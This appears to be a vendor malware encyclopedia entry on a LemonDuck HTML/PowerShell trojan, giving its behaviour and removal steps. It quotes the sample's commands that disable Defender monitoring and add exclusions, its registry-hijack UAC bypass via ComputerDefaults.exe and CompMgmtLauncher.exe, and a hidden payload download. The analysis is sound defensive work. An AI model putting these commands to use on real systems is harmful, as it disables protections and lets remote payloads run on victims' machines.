Analysis by: Joshua John Bantayan

ALIASES:

Trojan:PowerShell/LemonDuck.D (MICROSOFT); Powershell.WebShell.38503 (QUICKHEAL)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Canal de infección Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.

  TECHNICAL DETAILS

Tamaño del archivo 2,588 bytes
Tipo de archivo HTML, HTM
Residente en memoria No
Fecha de recepción de las muestras iniciales 30 Apr 2021
Carga útil Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Other Details

This Trojan does the following:

  • It contains a powershell code, and cannot be executed independently by itself, being an HTML file.
  • It needs a payload URL parameter to properly execute.
  • If the {Payload URL} starts with "http", it will try to download from the URL.
  • If the current user group is "Administrator", it will execute the following:
    • cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden
    • Download from {Payload URL}
  • If Windows version is "10", it does the following:
    • Create registry entries in:
      • HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
        DelegateExecute = ""
      • HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
        (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
    • Starts the process:
      • ComputerDefaults.exe
  • If Windows version is not"10", it does the following:
    • Create registry entries in:
      • HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
        DelegateExecute = ""
      • HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
        (default) = powershell -w hidden {Payload URL}
    • Starts the process:
      • CompMgmtLauncher.exe

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.

  SOLUTION

Motor de exploración mínimo 9.800
Primer archivo de patrones de VSAPI 16.688.07
Primera fecha de publicación de patrones de VSAPI 30 Apr 2021
Versión de patrones OPR de VSAPI 16.689.00
Fecha de publicación de patrones OPR de VSAPI 01 May 2021

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command
    • DelegateExecute = ""
  • In HKEY_CURRENT_USER:\Software\Classes\ms-settings\shell\open\command
    • (default) = cmd /c echo Set-MpPreference -DisableRealtimeMonitoring 1;Add-MpPreference -ExclusionPath %System Root%;Add-MpPreference -ExclusionProcess %System%\WindowsPowerShell\v1.0\powershell.exe | powershell -w hidden {Payload URL}
  • In HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command
    • DelegateExecute = ""
  • In HKEY_CURRENT_USER:\Software\Classes\mscfile\shell\open\command
    • (default) = powershell -w hidden {Payload URL}

Step 4

Scan your computer with your Trend Micro product to delete files detected as Trojan.HTML.LEMONDUCK.THDBIBA. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


Did this description help? Tell us how we did.